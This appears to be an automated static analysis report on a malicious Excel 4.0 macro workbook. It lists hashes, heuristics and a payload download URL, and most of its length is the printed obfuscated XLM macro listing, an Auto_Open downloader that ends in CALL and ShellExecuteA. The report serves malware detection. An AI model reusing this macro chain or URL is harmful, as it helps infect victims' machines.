Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fdad0113cc64a8fd…

MALICIOUS

Office (OLE)

52.5 KB Created: 2020-03-12 19:19:16 First seen: 2020-07-24
MD5: d2b379227e1c2253cf9884c25eb82c58 SHA-1: 8da84686de6edc0c69ae3a6d622596c82aa1b60e SHA-256: fdad0113cc64a8fd9718c9f4084366c25c5b196208133e7a8af4165d27ad3102
262 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an Excel 4.0 macro sheet that uses the Auto_Open function to execute arbitrary formulas. It references dangerous functions like RUN and ShellExecute, and attempts to download a second-stage payload from the provided URLs. The document body is a lure to convince the user to enable macros, claiming content is protected.

Heuristics 7

  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Reference to ShellExecute API high SC_STR_SHELLEXEC
    Reference to ShellExecute API
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://209.141.54.161/2.bin In document text (OLE body)
    • http://209.141.54.161/2.bin~In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 22045 bytes
SHA-256: 37de4309100272bcc483893f4dce5fe7943472656c7513342c7383ce9ea0da9a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 shell/COM execution token(s).
Preview script
First 1,000 lines of the extracted script
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, very hidden -  vrgBqhv
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  vrgBqhv!CQ1661 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  vrgBqhv,IO4,CHAR(EA134-119),""
'  vrgBqhv,IO5,RUN(FI1054),""
'  vrgBqhv,GB7,"",96.00000000000000000000
'  vrgBqhv,EI10,CHAR(DH1174-149),""
'  vrgBqhv,GL12,"",634.00000000000000000000
'  vrgBqhv,IZ38,"",37.00000000000000000000
'  vrgBqhv,DU49,RUN(W812),""
'  vrgBqhv,IK52,"",41.00000000000000000000
'  vrgBqhv,BF55,"",231.00000000000000000000
'  vrgBqhv,CH60,JG1388,""
'  vrgBqhv,HB62,RUN(HY1123),""
'  vrgBqhv,FB64,RUN(GF581),""
'  vrgBqhv,JC67,CHAR(BW901-557),""
'  vrgBqhv,DM68,"",15.00000000000000000000
'  vrgBqhv,JI70,"",37.00000000000000000000
'  vrgBqhv,DW81,RUN(GP515),""
'  vrgBqhv,CB86,"",970.00000000000000000000
'  vrgBqhv,JB88,"",88.00000000000000000000
'  vrgBqhv,FM89,"",42.00000000000000000000
'  vrgBqhv,FN91,"",60.00000000000000000000
'  vrgBqhv,R95,RUN(W1959),""
'  vrgBqhv,ED98,CONCATENATE(FA1911),""
'  vrgBqhv,HD100,"",68.00000000000000000000
'  vrgBqhv,HS104,"",16.00000000000000000000
'  vrgBqhv,CW106,RUN(HY1857),""
'  vrgBqhv,BB107,"",235.00000000000000000000
'  vrgBqhv,JH117,"",13.00000000000000000000
'  vrgBqhv,CM121,"",40.00000000000000000000
'  vrgBqhv,BA131,CHAR(HK658-149),""
'  vrgBqhv,J134,RUN(IJ1567),""
'  vrgBqhv,EA134,"",167.00000000000000000000
'  vrgBqhv,GZ151,RUN(JD1711),""
'  vrgBqhv,Y152,"",70.00000000000000000000
'  vrgBqhv,EO157,CHAR(GW673-149),""
'  vrgBqhv,DX164,"",32.00000000000000000000
'  vrgBqhv,D166,"",2.00000000000000000000
'  vrgBqhv,HS180,"",897.00000000000000000000
'  vrgBqhv,CW182,CHAR(FI190-851),""
'  vrgBqhv,FI190,"",954.00000000000000000000
'  vrgBqhv,FK190,"",77.00000000000000000000
'  vrgBqhv,IC204,"",12.00000000000000000000
'  vrgBqhv,FB213,CHAR(EB899-851),""
'  vrgBqhv,IO216,"",85.00000000000000000000
'  vrgBqhv,FZ218,CHAR(IR786-119),""
'  vrgBqhv,JD218,RUN(GI1425),""
'  vrgBqhv,FZ219,RUN(HU354),""
'  vrgBqhv,FH220,"",31.00000000000000000000
'  vrgBqhv,CH221,"",83.00000000000000000000
'  vrgBqhv,HB225,CHAR(BR1011-851),""
'  vrgBqhv,Q227,"",68.00000000000000000000
'  vrgBqhv,EB229,RUN(IO1848),""
'  vrgBqhv,GJ240,"",24.00000000000000000000
'  vrgBqhv,DS241,"",246.00000000000000000000
'  vrgBqhv,FZ252,"",2.00000000000000000000
'  vrgBqhv,BS254,RUN(FW716),""
'  vrgBqhv,GB254,RUN(IH1545),""
'  vrgBqhv,DX255,"",966.00000000000000000000
'  vrgBqhv,FC256,"",165.00000000000000000000
'  vrgBqhv,HN256,"",90.00000000000000000000
'  vrgBqhv,U262,"",35.00000000000000000000
'  vrgBqhv,DY273,"",169.00000000000000000000
'  vrgBqhv,IB274,"",165.00000000000000000000
'  vrgBqhv,HS278,RUN(GH1319),""
'  vrgBqhv,EI279,RUN(CL448),""
'  vrgBqhv,DY280,"",48.00000000000000000000
'  vrgBqhv,DE281,RUN(HH598),""
'  vrgBqhv,HW284,"",32.00000000000000000000
'  vrgBqhv,BZ297,"",642.00000000000000000000
'  vrgBqhv,HN297,"",67.00000000000000000000
'  vrgBqhv,CB312,CHAR(CZ1494-119),""
'  vrgBqhv,CB313,RUN(FZ218),""
'  vrgBqhv,GK315,RUN(CQ1661),""
'  vrgBqhv,DF319,"",168.00000000000000000000
'  vrgBqhv,BZ320,RUN(BS254),""
'  vrgBqhv,ER321,RUN(JC451),""
'  vrgBqhv,EW331,"",79.00000000000000000000
'  vrgBqhv,HU346,"",249.00000000000000000000
'  vrgBqhv,CK347,"",260.00000000000000000000
'  vrgBqhv,GZ347,"",3.00000000000000000000
'  vrgBqhv,M349,RUN(FL1522),""
'  vrgBqhv,M350,RUN(C1303),""
'  vrgBqhv,CU352,CHAR(GJ806-149),""
'  vrgBqhv,HU354,CHAR(IP1032-119),""
'  vrgBqhv,HU355,RUN(EJ585),""
'  vrgBqhv,CV358,RUN(JM1583),""
'  vrgBqhv,DH358,"CONCATENATE(II377,GI626,L522,HN1178,JC67,FE1203)",""
'  vrgBqhv,CG359,"",27.00000000000000000000
'  vrgBqhv,HI362,"",6.00000000000000000000
'  vrgBqhv,HR362,CHAR(DY273-119),""
'  vrgBqhv,HR363,RUN(GK1477),""
'  vrgBqhv,BG366,"",952.00000000000000000000
'  vrgBqhv,GT367,"",48.00000000000000000000
'  vrgBqhv,JC369,"",14.00000000000000000000
'  vrgBqhv,BV376,"",50.00000000000000000000
'  vrgBqhv,FV376,CHAR(HJ1251-851),""
'  vrgBqhv,II377,CHAR(BZ297-557),""
'  vrgBqhv,EM383,"",93.00000000000000000000
'  vrgBqhv,FZ384,CHAR(GV1953-149),""
'  vrgBqhv,JD390,RUN(HL568),""
'  vrgBqhv,CG392,"",25.00000000000000000000
'  vrgBqhv,HV397,"",43.00000000000000000000
'  vrgBqhv,EV399,"",60.00000000000000000000
'  vrgBqhv,IQ400,"",166.00000000000000000000
'  vrgBqhv,FO405,"",639.00000000000000000000
'  vrgBqhv,HI407,"",217.00000000000000000000
'  vrgBqhv,EJ412,"",29.00000000000000000000
'  vrgBqhv,GX417,"",16.00000000000000000000
'  vrgBqhv,DX419,"",918.00000000000000000000
'  vrgBqhv,DV424,"",43.00000000000000000000
'  vrgBqhv,FF425,RUN(GW1084),""
'  vrgBqhv,DZ426,"",918.00000000000000000000
'  vrgBqhv,EA427,"",235.00000000000000000000
'  vrgBqhv,FW432,"",43.00000000000000000000
'  vrgBqhv,HJ438,"",63.00000000000000000000
'  vrgBqhv,CL439,"",15.00000000000000000000
'  vrgBqhv,DN444,"",68.00000000000000000000
'  vrgBqhv,DN447,"",15.00000000000000000000
'  vrgBqhv,CL448,RUN(IH1659),""
'  vrgBqhv,JC451,RUN(FP468),""
'  vrgBqhv,GD455,RUN(DF1216),""
'  vrgBqhv,CH456,"",13.00000000000000000000
'  vrgBqhv,GA461,RUN(IE1383),""
'  vrgBqhv,FP468,RUN(BX1751),""
'  vrgBqhv,BM469,"",166.00000000000000000000
'  vrgBqhv,IX469,"",965.00000000000000000000
'  vrgBqhv,HW479,RUN(EO1265),""
'  vrgBqhv,GP480,RUN(FQ1996),""
'  vrgBqhv,FC489,"",176.00000000000000000000
'  vrgBqhv,ES490,"",952.00000000000000000000
'  vrgBqhv,JM494,RUN(GB254),""
'  vrgBqhv,J505,CHAR(HI1884-851),""
'  vrgBqhv,FO505,"",633.00000000000000000000
'  vrgBqhv,HU511,CHAR(CK1009-149),""
'  vrgBqhv,BK514,RUN(BU1813),""
'  vrgBqhv,EP515,"",3.00000000000000000000
'  vrgBqhv,GP515,RUN(BK514),""
'  vrgBqhv,IE519,"",44.00000000000000000000
'  vrgBqhv,L522,CHAR(FO505-557),""
'  vrgBqhv,DB523,"",89.00000000000000000000
'  vrgBqhv,FM524,RUN(FK1323),""
'  vrgBqhv,JK527,"",48.00000000000000000000
'  vrgBqhv,FZ533,RUN(DJ857),""
'  vrgBqhv,FK534,"",67.00000000000000000000
'  vrgBqhv,HC541,"",14.00000000000000000000
'  vrgBqhv,CI546,"",87.00000000000000000000
'  vrgBqhv,EX550,"",86.00000000000000000000
'  vrgBqhv,DH557,"",86.00000000000000000000
'  vrgBqhv,GG558,"",71.00000000000000000000
'  vrgBqhv,DJ560,RUN(GS1109),""
'  vrgBqhv,FY562,"",45.00000000000000000000
'  vrgBqhv,DI566,RUN(R95),""
'  vrgBqhv,HL568,RUN(FR1445),""
'  vrgBqhv,HN578,"",54.00000000000000000000
'  vrgBqhv,GF581,RUN(BQ1871),""
'  vrgBqhv,HX581,"",31.00000000000000000000
'  vrgBqhv,HQ584,"",44.00000000000000000000
'  vrgBqhv,EJ585,CHAR(HC963-119),""
'  vrgBqhv,DF586,RUN(EY1125),""
'  vrgBqhv,EJ586,RUN(DL660),""
'  vrgBqhv,HH598,RUN(DJ560),""
'  vrgBqhv,HS603,RUN(GA1000),""
'  vrgBqhv,GN625,"",62.00000000000000000000
'  vrgBqhv,HG625,RUN(DV858),""
'  vrgBqhv,GI626,CHAR(FO405-557),""
'  vrgBqhv,JK638,RUN(FL846),""
'  vrgBqhv,FJ639,RUN(EI279),""
'  vrgBqhv,C644,"",71.00000000000000000000
'  vrgBqhv,Q644,CHAR(HI808-149),""
'  vrgBqhv,FS644,RUN(J134),""
'  vrgBqhv,EG646,CHAR(DF319-119),""
'  vrgBqhv,EG647,RUN(DM1206),""
'  vrgBqhv,GT648,"",78.00000000000000000000
'  vrgBqhv,HK658,"",214.00000000000000000000
'  vrgBqhv,DL660,CHAR(IB274-119),""
'  vrgBqhv,DL661,RUN(EG851),""
'  vrgBqhv,R663,"",250.00000000000000000000
'  vrgBqhv,DF663,"",9.00000000000000000000
'  vrgBqhv,FQ669,"",74.00000000000000000000
'  vrgBqhv,GW673,"",260.00000000000000000000
'  vrgBqhv,EW674,"",36.00000000000000000000
'  vrgBqhv,BW678,"",217.00000000000000000000
'  vrgBqhv,IX679,CHAR(DS241-149),""
'  vrgBqhv,BZ681,"",89.00000000000000000000
'  vrgBqhv,FR689,CHAR(GX1629-851),""
'  vrgBqhv,GQ692,"CONCATENATE(BZ1677,FG928,Q644,IO935,FA1812,E1181,IA1905,EI10,EO157,IX679,DY1832,BL1615,FZ1577,FZ384,CU352,HU511,BG1008,BA131)",""
'  vrgBqhv,CL712,RUN(FM977),""
'  vrgBqhv,FW716,RUN(FB64),""
'  vrgBqhv,IZ719,"",20.00000000000000000000
'  vrgBqhv,FP720,"",259.00000000000000000000
'  vrgBqhv,HZ721,"",169.00000000000000000000
'  vrgBqhv,BW726,RUN(CV358),""
'  vrgBqhv,HF727,CHAR(HY1689-119),""
'  vrgBqhv,GW728,CHAR(BF55-119),""
'  vrgBqhv,HF728,RUN(EZ1383),""
'  vrgBqhv,GW729,RUN(C1464),""
'  vrgBqhv,EG730,"",95.00000000000000000000
'  vrgBqhv,HT737,"",52.00000000000000000000
'  vrgBqhv,HY739,RUN(HU1882),""
'  vrgBqhv,DD741,CHAR(HS180-851),""
'  vrgBqhv,CO746,"",18.00000000000000000000
'  vrgBqhv,DV747,CHAR(HB1473-119),""
'  vrgBqhv,DV748,RUN(HF727),""
'  vrgBqhv,W750,"",166.00000000000000000000
'  vrgBqhv,JA750,"",62.00000000000000000000
'  vrgBqhv,B779,"",28.00000000000000000000
'  vrgBqhv,CF784,"",25.00000000000000000000
'  vrgBqhv,IR786,"",165.00000000000000000000
'  vrgBqhv,EH794,"",73.00000000000000000000
'  vrgBqhv,IF799,RUN(GZ1712),""
'  vrgBqhv,BH802,CHAR(ET1676-851),""
'  vrgBqhv,GD803,"",73.00000000000000000000
'  vrgBqhv,FM804,"",21.00000000000000000000
'  vrgBqhv,GJ806,"",254.00000000000000000000
'  vrgBqhv,HI808,"",225.00000000000000000000
'  vrgBqhv,DG810,"",70.00000000000000000000
'  vrgBqhv,W812,RUN(JJ1193),""
'  vrgBqhv,BJ819,"",1.00000000000000000000
'  vrgBqhv,CU820,"",83.00000000000000000000
'  vrgBqhv,EH820,"",3.00000000000000000000
'  vrgBqhv,HT822,CHAR(BA1212-851),""
'  vrgBqhv,HL825,CHAR(CM1034-119),""
'  vrgBqhv,HL826,RUN(DS829),""
'  vrgBqhv,DS829,CHAR(EA427-119),""
'  vrgBqhv,DS830,RUN(HJ976),""
'  vrgBqhv,GI831,"CONCATENATE(HL825,DS829,HJ976,GW728,C1464,DF1821,EJ1345,EZ1533,IO4,FI1054,DV747,HF727,EZ1383,CB312,FZ218,HU354,EJ585,DL660,EG851,BD1369,EG646,DM1206,HR362,GK1477,GO1531,HZ1530,M349)",""
'  vrgBqhv,HT832,"",29.00000000000000000000
'  vrgBqhv,EN843,"",21.00000000000000000000
'  vrgBqhv,FS843,RUN(HS603),""
'  vrgBqhv,CZ845,"",32.00000000000000000000
'  vrgBqhv,FL846,RUN(JD218),""
'  vrgBqhv,EG851,CHAR(BR1660-119),""
'  vrgBqhv,EG852,RUN(BD1369),""
'  vrgBqhv,U857,CHAR(EQ1566-851),""
'  vrgBqhv,DJ857,RUN(ES1553),""
'  vrgBqhv,DV858,RUN(IF799),""
'  vrgBqhv,BN863,"",26.00000000000000000000
'  vrgBqhv,FZ876,"",48.00000000000000000000
'  vrgBqhv,HC879,RUN(FH1259),""
'  vrgBqhv,IM888,"",42.00000000000000000000
'  vrgBqhv,JB890,"",61.00000000000000000000
'  vrgBqhv,EB899,"",923.00000000000000000000
'  vrgBqhv,BW901,"",636.00000000000000000000
'  vrgBqhv,IF904,"",86.00000000000000000000
'  vrgBqhv,HQ912,CHAR(BL1229-851),""
'  vrgBqhv,BR916,RUN(JK638),""
'  vrgBqhv,GF917,CONCATENATE(GQ692),""
'  vrgBqhv,IC917,"",24.00000000000000000000
'  vrgBqhv,FG928,CHAR(JK1548-149),""
'  vrgBqhv,DE933,CHAR(X1668-851),""
'  vrgBqhv,IO935,CHAR(BW678-149),""
'  vrgBqhv,EZ939,"",28.00000000000000000000
'  vrgBqhv,CS940,RUN(JM494),""
'  vrgBqhv,ER941,CHAR(DX419-851),""
'  vrgBqhv,EY949,"",90.00000000000000000000
'  vrgBqhv,GH949,CHAR(DB1610-851),""
'  vrgBqhv,FF957,"",35.00000000000000000000
'  vrgBqhv,HC963,"",171.00000000000000000000
'  vrgBqhv,DH973,"",33.00000000000000000000
'  vrgBqhv,BV975,"",59.00000000000000000000
'  vrgBqhv,FF976,"",18.00000000000000000000
'  vrgBqhv,HJ976,CHAR(BB107-119),""
'  vrgBqhv,FM977,RUN(BZ320),""
'  vrgBqhv,HJ977,RUN(GW728),""
'  vrgBqhv,BD980,RUN(FS644),""
'  vrgBqhv,EP984,"",98.00000000000000000000
'  vrgBqhv,GR988,"",23.00000000000000000000
'  vrgBqhv,HV990,RUN(EH1338),""
'  vrgBqhv,GA1000,RUN(HS278),""
'  vrgBqhv,DH1002,RUN(FS843),""
'  vrgBqhv,BG1008,CHAR(R663-149),""
'  vrgBqhv,IZ1008,"",65.00000000000000000000
'  vrgBqhv,CK1009,"",257.00000000000000000000
'  vrgBqhv,BR1011,"",928.00000000000000000000
'  vrgBqhv,BO1030,"",60.00000000000000000000
'  vrgBqhv,IP1032,"",172.00000000000000000000
'  vrgBqhv,CM1034,"",223.00000000000000000000
'  vrgBqhv,BT1039,"",33.00000000000000000000
'  vrgBqhv,DV1047,"",60.00000000000000000000
'  vrgBqhv,FI1054,CHAR(FC489-119),""
'  vrgBqhv,FI1055,RUN(DV747),""
'  vrgBqhv,V1059,"",941.00000000000000000000
'  vrgBqhv,EH1061,"",16.00000000000000000000
'  vrgBqhv,HB1062,"",76.00000000000000000000
'  vrgBqhv,CG1063,"",65.00000000000000000000
'  vrgBqhv,DE1070,"",20.00000000000000000000
'  vrgBqhv,DP1071,CHAR(CI1280-851),""
'  vrgBqhv,Y1078,"",13.00000000000000000000
'  vrgBqhv,GX1081,"",68.00000000000000000000
'  vrgBqhv,GW1084,RUN(ID1387),""
'  vrgBqhv,HL1084,"",32.00000000000000000000
'  vrgBqhv,DK1087,"",936.00000000000000000000
'  vrgBqhv,CD1093,"",76.00000000000000000000
'  vrgBqhv,EG1103,"",60.00000000000000000000
'  vrgBqhv,IZ1106,"",14.00000000000000000000
'  vrgBqhv,GS1109,RUN(CQ1391),""
'  vrgBqhv,DV1118,"",4.00000000000000000000
'  vrgBqhv,HY1123,RUN(CW106),""
'  vrgBqhv,BA1125,"",57.00000000000000000000
'  vrgBqhv,EY1125,RUN(GA461),""
'  vrgBqhv,FK1132,"",17.00000000000000000000
'  vrgBqhv,HI1133,"",55.00000000000000000000
'  vrgBqhv,IN1144,"",970.00000000000000000000
'  vrgBqhv,CM1150,"",94.00000000000000000000
'  vrgBqhv,JL1152,"",88.00000000000000000000
'  vrgBqhv,GE1155,"",8.00000000000000000000
'  vrgBqhv,GR1155,"",260.00000000000000000000
'  vrgBqhv,IE1155,"",37.00000000000000000000
'  vrgBqhv,R1161,"",635.00000000000000000000
'  vrgBqhv,P1166,RUN(CV1392),""
'  vrgBqhv,DM1167,"",233.00000000000000000000
'  vrgBqhv,ED1171,"CONCATENATE(HQ912,HT822,DE933,ES1614,O1802,CW182,ER941,X1883,GG1673,IJ1433,U857,FB213,JB1349,DP1071,GH949,J505,JE1257,HB225,BH802,HF1733,IS1264,FT1891,IV1344,FV376,FR689,FP1551,DD741,JA1404,IG1312)",""
'  vrgBqhv,DH1174,"",257.00000000000000000000
'  vrgBqhv,BZ1177,"",960.00000000000000000000
'  vrgBqhv,HN1178,CHAR(GL12-557),""
'  vrgBqhv,E1181,CHAR(EW1755-149),""
'  vrgBqhv,Q1182,"",60.00000000000000000000
'  vrgBqhv,IM1182,"",52.00000000000000000000
'  vrgBqhv,JE1182,RUN(EB229),""
'  vrgBqhv,FA1183,"",19.00000000000000000000
'  vrgBqhv,HL1183,"",20.00000000000000000000
'  vrgBqhv,HN1189,"",37.00000000000000000000
'  vrgBqhv,JJ1193,RUN(GC1956),""
'  vrgBqhv,CE1200,"",70.00000000000000000000
'  vrgBqhv,FC1203,"",2.00000000000000000000
'  vrgBqhv,FE1203,CHAR(R1161-557),""
'  vrgBqhv,DM1206,CHAR(W750-119),""
'  vrgBqhv,DM1207,RUN(HR362),""
'  vrgBqhv,BA1212,"",909.00000000000000000000
'  vrgBqhv,G1213,"",229.00000000000000000000
'  vrgBqhv,IG1215,"",72.00000000000000000000
'  vrgBqhv,DF1216,RUN(DF586),""
'  vrgBqhv,BL1229,"",918.00000000000000000000
'  vrgBqhv,FW1234,"",54.00000000000000000000
'  vrgBqhv,JF1237,"",65.00000000000000000000
'  vrgBqhv,CG1239,RUN(BW726),""
'  vrgBqhv,HJ1251,"",940.00000000000000000000
'  vrgBqhv,JE1257,CHAR(GW1500-851),""
'  vrgBqhv,FH1259,RUN(FM524),""
'  vrgBqhv,HK1260,"",57.00000000000000000000
'  vrgBqhv,IS1264,CHAR(FA1517-851),""
'  vrgBqhv,EO1265,RUN(HV990),""
'  vrgBqhv,GK1266,"",73.00000000000000000000
'  vrgBqhv,CI1280,"",963.00000000000000000000
'  vrgBqhv,EX1298,"",37.00000000000000000000
'  vrgBqhv,HL1300,"",17.00000000000000000000
'  vrgBqhv,ET1312,"",50.00000000000000000000
'  vrgBqhv,IG1312,CHAR(BT1399-851),""
'  vrgBqhv,N1319,RUN(FL1520),""
'  vrgBqhv,GH1319,RUN(GK315),""
'  vrgBqhv,CV1321,"",51.00000000000000000000
'  vrgBqhv,FK1323,RUN(GD455),""
'  vrgBqhv,BX1331,"",96.00000000000000000000
'  vrgBqhv,HK1333,"",7.00000000000000000000
'  vrgBqhv,DB1338,"",60.00000000000000000000
'  vrgBqhv,EH1338,RUN(IE1567),""
'  vrgBqhv,R1341,"",34.00000000000000000000
'  vrgBqhv,IV1344,CHAR(BZ1177-851),""
'  vrgBqhv,EJ1345,CHAR(IQ400-119),""
'  vrgBqhv,EJ1346,RUN(EZ1533),""
'  vrgBqhv,JB1349,CHAR(DH1722-851),""
'  vrgBqhv,M1357,"",26.00000000000000000000
'  vrgBqhv,CA1358,"",93.00000000000000000000
'  vrgBqhv,IL1361,"",21.00000000000000000000
'  vrgBqhv,BD1369,CHAR(GP1781-119),""
'  vrgBqhv,JM1369,"",26.00000000000000000000
'  vrgBqhv,BD1370,RUN(EG646),""
'  vrgBqhv,EZ1383,CHAR(CS1866-119),""
'  vrgBqhv,IE1383,RUN(CI1840),""
'  vrgBqhv,EZ1384,RUN(CB312),""
'  vrgBqhv,ID1387,RUN(GP480),""
'  vrgBqhv,JG1388,CONCATENATE(GI831),""
'  vrgBqhv,CQ1391,RUN(HG625),""
'  vrgBqhv,CV1392,RUN(DP1411),""
'  vrgBqhv,BT1399,"",971.00000000000000000000
'  vrgBqhv,JA1404,CHAR(BG366-851),""
'  vrgBqhv,EP1410,"",68.00000000000000000000
'  vrgBqhv,DP1411,RUN(DU49),""
'  vrgBqhv,FC1412,"",50.00000000000000000000
'  vrgBqhv,V1417,"",73.00000000000000000000
'  vrgBqhv,GI1425,RUN(JE1182),""
'  vrgBqhv,IJ1433,CHAR(IN1144-851),""
'  vrgBqhv,FR1445,RUN(EL1811),""
'  vrgBqhv,GS1457,"",224.00000000000000000000
'  vrgBqhv,CG1463,"",47.00000000000000000000
'  vrgBqhv,C1464,CHAR(EC1833-119),""
'  vrgBqhv,C1465,RUN(DF1821),""
'  vrgBqhv,GD1467,"",37.00000000000000000000
'  vrgBqhv,HB1473,"",165.00000000000000000000
'  vrgBqhv,GK1477,CHAR(FC256-119),""
'  vrgBqhv,GK1478,RUN(GO1531),""
'  vrgBqhv,EU1486,"",234.00000000000000000000
'  vrgBqhv,HP1488,"",72.00000000000000000000
'  vrgBqhv,CZ1493,"",41.00000000000000000000
'  vrgBqhv,CZ1494,"",168.00000000000000000000
'  vrgBqhv,S1496,"",78.00000000000000000000
'  vrgBqhv,GW1500,"",963.00000000000000000000
'  vrgBqhv,G1503,"",61.00000000000000000000
'  vrgBqhv,FJ1507,"",97.00000000000000000000
'  vrgBqhv,EL1514,"",5.00000000000000000000
'  vrgBqhv,FA1517,"",961.00000000000000000000
'  vrgBqhv,JJ1518,"",37.00000000000000000000
'  vrgBqhv,FL1520,"CALL("Kernel32","CreateDirectoryA","JCJ","C:\wsgCriw",0)",""
'  vrgBqhv,FL1521,RUN(HL825),""
'  vrgBqhv,FL1522,"CALL("Kernel32","CreateDirectoryA","JCJ","C:\wsgCriw\HppcPpM",0)",""
'  vrgBqhv,FL1523,"CALL(EX1726,GF917,"JJCCJJ",0,CH60,BQ1717,0,0)",""
'  vrgBqhv,FL1524,"CALL("Shell32","ShellExecuteA","JJCCCCJ",0,"Open",BQ1717,,0,0)",""
'  vrgBqhv,FL1525,HALT(),""
'  vrgBqhv,HZ1530,CHAR(GS1457-119),""
'  vrgBqhv,GO1531,CHAR(HI407-119),""
'  vrgBqhv,HZ1531,RUN(M349),""
'  vrgBqhv,GO1532,RUN(HZ1530),""
'  vrgBqhv,EZ1533,CHAR(HZ721-119),""
'  vrgBqhv,EZ1534,RUN(IO4),""
'  vrgBqhv,N1540,RUN(JD390),""
'  vrgBqhv,FL1542,"",17.00000000000000000000
'  vrgBqhv,IH1545,RUN(CG1584),""
'  vrgBqhv,JL1546,"",90.00000000000000000000
'  vrgBqhv,JK1548,"",231.00000000000000000000
'  vrgBqhv,FP1551,CHAR(DZ426-851),""
'  vrgBqhv,ES1553,RUN(BD980),""
'  vrgBqhv,GJ1553,"",52.00000000000000000000
'  vrgBqhv,BN1560,"",66.00000000000000000000
'  vrgBqhv,GL1560,"",1.00000000000000000000
'  vrgBqhv,EQ1566,"",943.00000000000000000000
'  vrgBqhv,IE1567,RUN(CG1239),""
'  vrgBqhv,IJ1567,RUN(CS940),""
'  vrgBqhv,FZ1577,CHAR(CK347-149),""
'  vrgBqhv,EN1578,"",71.00000000000000000000
'  vrgBqhv,JM1583,RUN(HY739),""
'  vrgBqhv,CG1584,RUN(DW81),""
'  vrgBqhv,EF1584,"",47.00000000000000000000
'  vrgBqhv,JO1596,"",956.00000000000000000000
'  vrgBqhv,EG1598,"",5.00000000000000000000
'  vrgBqhv,EM1608,RUN(GP1665),""
'  vrgBqhv,GS1608,"",16.00000000000000000000
'  vrgBqhv,DB1610,"",950.00000000000000000000
'  vrgBqhv,ES1614,CHAR(CB86-851),""
'  vrgBqhv,BL1615,CHAR(DM1167-149),""
'  vrgBqhv,DP1623,"",25.00000000000000000000
'  vrgBqhv,GX1629,"",950.00000000000000000000
'  vrgBqhv,CA1646,"",92.00000000000000000000
'  vrgBqhv,IH1659,RUN(ER321),""
'  vrgBqhv,BR1660,"",168.00000000000000000000
'  vrgBqhv,CQ1661,RUN(P1166),""
'  vrgBqhv,FC1663,"",72.00000000000000000000
'  vrgBqhv,GP1665,RUN(DH1002),""
'  vrgBqhv,X1668,"",943.00000000000000000000
'  vrgBqhv,CV1670,"",3.00000000000000000000
'  vrgBqhv,GG1673,CHAR(JO1596-851),""
'  vrgBqhv,ET1676,"",943.00000000000000000000
'  vrgBqhv,JG1676,"",44.00000000000000000000
'  vrgBqhv,BZ1677,CHAR(EU1486-149),""
'  vrgBqhv,CS1677,"",45.00000000000000000000
'  vrgBqhv,GN1678,"",54.00000000000000000000
'  vrgBqhv,GB1680,"",34.00000000000000000000
'  vrgBqhv,BM1687,"",49.00000000000000000000
'  vrgBqhv,HY1689,"",168.00000000000000000000
'  vrgBqhv,DE1698,"",19.00000000000000000000
'  vrgBqhv,EL1703,"",47.00000000000000000000
'  vrgBqhv,DP1711,"",91.00000000000000000000
'  vrgBqhv,JD1711,RUN(FJ639),""
'  vrgBqhv,GZ1712,RUN(N1319),""
'  vrgBqhv,BQ1717,"CONCATENATE(ED1171,ED98)",""
'  vrgBqhv,DH1722,"",963.00000000000000000000
'  vrgBqhv,FI1725,"",26.00000000000000000000
'  vrgBqhv,EX1726,CONCATENATE(DH358),""
'  vrgBqhv,HL1732,"",1.00000000000000000000
'  vrgBqhv,HF1733,CHAR(V1059-851),""
'  vrgBqhv,DZ1738,"",17.00000000000000000000
'  vrgBqhv,JB1738,"",92.00000000000000000000
'  vrgBqhv,GK1744,"",81.00000000000000000000
'  vrgBqhv,BX1751,RUN(DE281),""
'  vrgBqhv,EW1755,"",268.00000000000000000000
'  vrgBqhv,BY1756,"",77.00000000000000000000
'  vrgBqhv,DJ1762,"",47.00000000000000000000
'  vrgBqhv,CS1776,"",13.00000000000000000000
'  vrgBqhv,GP1781,"",173.00000000000000000000
'  vrgBqhv,GJ1788,"",63.00000000000000000000
'  vrgBqhv,FK1791,"",63.00000000000000000000
'  vrgBqhv,EC1797,"",64.00000000000000000000
'  vrgBqhv,O1802,CHAR(DX255-851),""
'  vrgBqhv,EL1811,RUN(BR916),""
'  vrgBqhv,HM1811,"",36.00000000000000000000
'  vrgBqhv,FA1812,CHAR(GR1155-149),""
'  vrgBqhv,BU1813,RUN(HB62),""
